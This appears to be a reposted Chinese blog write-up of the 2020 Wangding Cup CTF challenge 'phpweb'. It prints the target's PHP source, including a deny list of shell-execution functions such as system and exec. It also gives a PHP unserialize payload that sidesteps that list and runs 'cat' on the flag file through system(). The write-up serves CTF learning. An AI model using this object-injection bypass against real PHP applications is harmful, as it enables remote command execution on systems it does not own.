博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
[网鼎杯 2020 朱雀组]phpweb
阅读量:2065 次
发布时间:2019-04-29

本文共 1516 字,大约阅读时间需要 5 分钟。

  • 一开始没有啥思路
  • 抓了个包 发现可以传参 再结合报错 这里应该是可以利用函数的
    在这里插入图片描述
  • 返回的index.php源代码
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");    function gettime($func, $p) {
$result = call_user_func($func, $p); $a= gettype($result); if ($a == "string") {
return $result; } else {
return "";} } class Test {
var $p = "Y-m-d h:i:s a"; var $func = "date"; function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) {
$func = strtolower($func); if (!in_array($func,$disable_fun)) {
echo gettime($func, $p); }else {
die("Hacker..."); } } ?>
  • 禁止了一堆函数例如system
  • 看到类 想到利用反序列化 去绕过
  • func利用unserialize函数 p传入序列化后的值
  • 就会调用gettime函数$result被赋予反序列后的值
  • Test类最后的_destruct()函数在程序执行完毕时自动调用销毁$result
  • payload:
func=unserialize&p=O:4:"Test":2:{
s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}`

转载地址:http://hfwmf.baihongyu.com/

你可能感兴趣的文章
春节前最后一波福利,Alibaba Java 训练营]5天突破面向对象编程限时免费报名!...
查看>>
我就要在容器里写文件!?
查看>>
支付宝集五福最全攻略,五分钟集齐五福!
查看>>
Runc 容器初始化和容器逃逸
查看>>
使用 GDB + Qemu 调试 Linux 内核
查看>>
介绍一个小工具:SSL-exporter
查看>>
深入理解 tc ebpf 的 direct-action (da) 模式(2020)
查看>>
为容器时代设计的高级 eBPF 内核特性(FOSDEM, 2021)
查看>>
Loki系列文章
查看>>
字节跳动面试官问:微服务下如何保证分布式事务的最终一致性?
查看>>
使用 Prometheus 监控 WireGuard
查看>>
BPF 可移植性和 CO-RE(一次编译,到处运行)
查看>>
万字长文:彻底搞懂容器镜像构建
查看>>
GitHub 又又又多了一个新主题 —— Dimmed Dark 主题!
查看>>
cgroup 挂载失败是什么鬼???
查看>>
深入 kubernetes API 的源码实现
查看>>
真香!使用 Goland 网页版实现真正的云开发
查看>>
又超时了!Etcd分布式锁你用明白了吗?
查看>>
工程师应该怎么学习
查看>>
记一次 Kubernetes 机器内核问题排查
查看>>